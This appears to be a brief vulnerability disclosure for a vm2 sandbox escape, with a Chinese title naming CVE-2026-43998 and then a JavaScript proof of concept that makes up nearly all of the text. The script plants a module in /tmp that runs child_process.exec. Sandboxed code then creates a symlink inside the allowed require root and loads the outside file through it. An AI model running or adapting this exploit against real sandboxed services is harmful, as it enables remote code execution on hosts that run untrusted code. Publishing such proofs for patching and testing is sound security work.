CVE-2026-43998 vm2沙箱绕过致远程代码执行漏洞

const { NodeVM } = require('vm2'); const fs = require('fs'); const path = require('path'); // 1. Setup a restricted environment const vm = new NodeVM({ require: { root: "./trusted_folder", external: false } }); // 2. Simulate a file outside the root that we want to load fs.writeFileSync('/tmp/evil_module.js', 'module.exports = () => { console.log("RCE!"); require("child_process").exec("calc"); }'); // 3. Malicious code running inside the sandbox const maliciousCode = ` const fs = require('fs'); // Create a symlink inside the allowed root pointing to the external file // path.resolve checks the symlink path (valid), require resolves the target (invalid) fs.symlinkSync('/tmp/evil_module.js', './trusted_folder/link_to_evil.js'); // Require the symlink. vm2 validates './trusted_folder/link_to_evil.js' (OK) // Node.js require loads '/tmp/evil_module.js' (Bypass!) const evil = require('./trusted_folder/link_to_evil.js'); evil(); `; vm.run(maliciousCode);